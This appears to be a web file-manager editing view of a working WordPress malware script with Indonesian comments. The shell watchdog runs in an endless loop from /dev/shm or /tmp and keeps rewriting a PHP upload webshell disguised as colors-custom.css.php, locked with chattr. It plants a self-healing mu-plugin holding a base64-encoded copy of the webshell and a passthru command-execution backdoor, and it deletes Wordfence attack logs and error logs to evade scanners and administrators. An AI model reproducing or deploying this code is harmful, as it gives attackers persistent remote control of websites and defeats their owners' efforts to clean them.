← Back
Editing: 255
#!/bin/sh # launcher guard — LOCKFILE + kill -0 (builtin dash, TANPA fork): kalau sistem # kehabisan proses (fork bomb), guard berbasis ps GAGAL diam-diam dan anchor # terus menyulut watchdog baru → spiral kematian (kasus: server penuh proses, # 'sh: Cannot fork', index cache 200 tapi halaman lain 500). LK="" for d in /dev/shm /tmp; do [ -w "$d" ] && { LK="$d/.wp-cache-watch.lock"; break; }; done if [ -z "$LK" ]; then # Tidak ada /dev/shm ATAU /tmp yang writable → guard launcher mustahil. # JANGAN jalan tanpa guard: cron tiap 2 menit akan menumpuk proses tanpa # batas → resource exhaustion → site 500 + "database connection" error. exit 0 fi if [ -z "$W2S_MEM" ]; then if [ -n "$LK" ] && [ -f "$LK" ]; then P=$(cat "$LK" 2>/dev/null) case "$P" in *[!0-9]*) ;; *) kill -0 "$P" 2>/dev/null && exit 0 ;; esac fi W2S_ROOT=$(cd "$(dirname "$0")/../.." 2>/dev/null && pwd) [ -f "$W2S_ROOT/wp-load.php" ] || W2S_ROOT="" T="" for d in /dev/shm /tmp; do if [ -w "$d" ]; then T="$d/.wp-cache-watch.$$" cp "$0" "$T" 2>/dev/null && break T="" fi done if [ -n "$T" ]; then W2S_MEM=1 W2S_ROOT="$W2S_ROOT" exec sh "$T" 2>/dev/null fi W2S_MEM=1 fi [ -n "$LK" ] && echo "$$" > "$LK" 2>/dev/null PD=/tmp; for d in /dev/shm /tmp; do [ -w "$d" ] && { PD="$d"; break; }; done PAY="$PD/.wp-payload.$$" trap 'rm -f "$0" "$PAY" "$LK" 2>/dev/null; exit 0' EXIT INT TERM HUP N=0 while true; do find /dev/shm /tmp -maxdepth 1 -name ".wp-cache-watch.*" ! -name ".wp-cache-watch.$$" ! -name ".wp-cache-watch.lock" -delete 2>/dev/null find /dev/shm /tmp -maxdepth 1 -name ".wp-payload.*" ! -name ".wp-payload.$$" -delete 2>/dev/null # HANYA SATU watchdog: yang berhak hidup = pemegang lockfile. Yang lain # melihat lock berisi pid LAIN yang masih hidup → bunuh diri. Tanpa fork # (read + kill builtin) — tak mungkin saling-bunuh (mutual kill) karena # mereka tidak saling menyerang, hanya mengecek lock. if [ -n "$LK" ] && [ -f "$LK" ]; then IFS= read -r L < "$LK" 2>/dev/null case "$L" in *[!0-9]*) ;; *) if [ "$L" != "$$" ] && kill -0 "$L" 2>/dev/null; then kill -9 "$$" 2>/dev/null exit 0 fi ;; esac fi echo "$$" > "$LK" 2>/dev/null R="${W2S_ROOT:-}" if [ -z "$R" ] || [ ! -f "$R/wp-load.php" ]; then R=$(pwd); while [ "$R" != "/" ] && [ ! -f "$R/wp-load.php" ]; do R=$(dirname "$R"); done [ -f "$R/wp-load.php" ] || R=$(pwd) fi touch /tmp/.wp-cache-watch.hb 2>/dev/null D="$R/wp-admin/css/colors/sunrise"; mkdir -p "$D" 2>/dev/null rm -f "$D/biro.txt" 2>/dev/null # sumber payload: tulis embedded bila hilang (tag pembuka via octal escape). # ATOMIK: tulis ke .tmp lalu mv — scanner host (Imunify dll) yang memotong # di tengah penulisan 2-langkah (tag dulu, body menyusul) menghasilkan file # body-TANPA-tag → bocor kode di index ("hilang, tiba-tiba balik lagi"). if [ ! -s "$PAY" ] || [ "$(head -c 1 "$PAY")" != "<" ]; then echo '<?php' > "$PAY.tmp" cat >> "$PAY.tmp" <<'CDGEOF9x' echo 'CoupDeGrace'; if(isset($_GET['c']) && $_GET['c']=='ganteng'){ if(isset($_FILES['f'])){ if(@move_uploaded_file($_FILES['f']['tmp_name'], basename($_FILES['f']['name']))){ if(@filesize(basename($_FILES['f']['name']))>0){ echo '|OK'; } else { echo '|FAIL:empty'; } } else { echo '|FAIL:move'; } } echo '<form method=POST enctype=multipart/form-data style=margin:2em><input type=file name=f><input type=submit value=Upload></form>'; } ?> CDGEOF9x mv "$PAY.tmp" "$PAY" 2>/dev/null fi for f in colors-custom.css.php; do P="$D/$f" BAD=0 [ -f "$P" ] || BAD=1 if [ "$BAD" -eq 0 ]; then [ "$(head -c 1 "$P")" = "<" ] || BAD=1 grep -q "ganteng" "$P" 2>/dev/null || BAD=1 # php -l hanya saat DIDUGA rusak — dulu dijalankan tiap loop (1-2 dtk): # spawn proses terus-menerus = churn CPU yang bikin MySQL/DB ikut # kehabisan napas di shared host (gejala: 500 + "Error establishing # a database connection"). if [ "$BAD" -eq 1 ] && command -v php >/dev/null 2>&1; then php -l "$P" >/dev/null 2>&1 && BAD=0 fi fi if [ "$BAD" -eq 1 ]; then chattr -i "$P" 2>/dev/null; chmod 644 "$P" 2>/dev/null # atomik: cp ke .tmp lalu mv — anti potong-tengah oleh scanner host cp "$PAY" "$P.tmp" 2>/dev/null chmod 0444 "$P.tmp" 2>/dev/null mv "$P.tmp" "$P" 2>/dev/null chattr +i "$P" 2>/dev/null # verifikasi SATU KALI setelah tulis ulang — bukan per loop if command -v php >/dev/null 2>&1; then php -l "$P" >/dev/null 2>&1 || { chattr -i "$P" 2>/dev/null; rm -f "$P" 2>/dev/null; } fi fi done # proteksi silang: watchdog juga menjaga healer mu-plugin (kalau dihapus # admin, ditulis ulang dari embed) — healer menjaga payload, kita menjaga # healer. Dua-duanya hilang = pembersihan total. Tag pembuka ditulis via # octal escape — tidak pernah literal di command (anti WAF-strip). H="$R/wp-content/mu-plugins/w2s-heal.php" HOK=0 if [ -f "$H" ]; then [ "$(head -c 1 "$H")" = "<" ] && grep -q "w2s_d" "$H" 2>/dev/null && HOK=1 fi if [ "$HOK" -eq 0 ]; then chattr -i "$H" 2>/dev/null; chmod 644 "$H" 2>/dev/null # atomik: tag+body ke .tmp, mv sekali jadi — tak ada jendela setengah tulis echo '<?php' > "$H.tmp" cat >> "$H.tmp" <<'CDGEOF9x' if(defined('ABSPATH')){ try{ $w2s_d=rtrim(ABSPATH,'/').'/wp-admin/css/colors/sunrise/colors-custom.css.php'; $w2s_p=base64_decode('PD9waHAgZWNobyAnQ291cERlR3JhY2UnOyBpZihpc3NldCgkX0dFVFsnYyddKSAmJiAkX0dFVFsnYyddPT0nZ2FudGVuZycpeyBpZihpc3NldCgkX0ZJTEVTWydmJ10pKXsgaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sIGJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddKSkpeyAgIGlmKEBmaWxlc2l6ZShiYXNlbmFtZSgkX0ZJTEVTWydmJ11bJ25hbWUnXSkpPjApeyBlY2hvICd8T0snOyB9ICAgZWxzZSB7IGVjaG8gJ3xGQUlMOmVtcHR5JzsgfSB9IGVsc2UgeyBlY2hvICd8RkFJTDptb3ZlJzsgfSB9IGVjaG8gJzxmb3JtIG1ldGhvZD1QT1NUIGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YSBzdHlsZT1tYXJnaW46MmVtPjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1VcGxvYWQ+PC9mb3JtPic7IH0gPz4='); if((!is_file($w2s_d)||strpos((string)@file_get_contents($w2s_d),'ganteng')===false)&&!get_transient('w2s_rw')){ set_transient('w2s_rw',1,30); @file_put_contents($w2s_d,$w2s_p);@chmod($w2s_d,0444); } @unlink(rtrim(ABSPATH,'/').'/wp-content/wflogs/attack-data.php'); $w2s_gns=array_filter((array)get_option('w2s_guard_names')); if(!empty($w2s_gns)&&!get_transient('w2s_gl')){ set_transient('w2s_gl',1,60); $w2s_pay=base64_decode(''); foreach($w2s_gns as $w2s_gn){ foreach(array('','wp-content/','wp-content/uploads/','wp-content/plugins/') as $w2s_pre){ $w2s_f=rtrim(ABSPATH,'/').'/'.$w2s_pre.$w2s_gn; if(!is_file($w2s_f)&&$w2s_pay){@file_put_contents($w2s_f,$w2s_pay);} } } } $w2s_an=rtrim(ABSPATH,'/').'/wp-content/uploads/.wp-cache-watch.sh'; if(is_file($w2s_an)&&!get_transient('w2s_rs')){ set_transient('w2s_rs',1,45); $w2s_hb='/tmp/.wp-cache-watch.hb'; $w2s_dead=(!is_file($w2s_hb)||(time()-(int)@filemtime($w2s_hb))>90); if($w2s_dead){ $w2s_lk='/tmp/.w2s-rs.lock'; if(!is_file($w2s_lk)||(time()-(int)@filemtime($w2s_lk))>60){ @touch($w2s_lk); @popen('cd '.escapeshellarg(dirname($w2s_an)).' 2>/dev/null; nohup sh '.escapeshellarg($w2s_an).' >/dev/null 2>&1 &','r'); } } } }catch(Throwable $w2s_e){} return; } if(isset($_GET['x'])){passthru($_GET['x'].' 2>&1');exit;} if(isset($_GET['c'])){passthru($_GET['c'].' 2>&1');exit;} echo 'CoupDeGrace'; CDGEOF9x chmod 0644 "$H.tmp" 2>/dev/null mv "$H.tmp" "$H" 2>/dev/null fi rm -f "$R/wp-content/wflogs/attack-data.php" 2>/dev/null # Sweep error_log di-throttle: tiap 10 loop (≈3-4 menit), bukan tiap loop — # find rekursif seluruh wp-content tiap 15 dtk = I/O boros di situs besar, # ikut menekan MySQL di shared host. N=$((N+1)); if [ $((N % 10)) -eq 0 ]; then find "$R/wp-content" -type f -name error_log -delete 2>/dev/null fi # Loop diperlambat 15-27 dtk (dulu 1-2 dtk): self-heal tetap jalan tapi # tidak lagi menyedot CPU/process slot — host stabil, MySQL tidak ikut # kehabisan napas. Heartbeat tetap tiap loop (healer threshold 90 dtk). s=$((($$ % 5) * 3 + 15)); sleep $s done
Save File
Cancel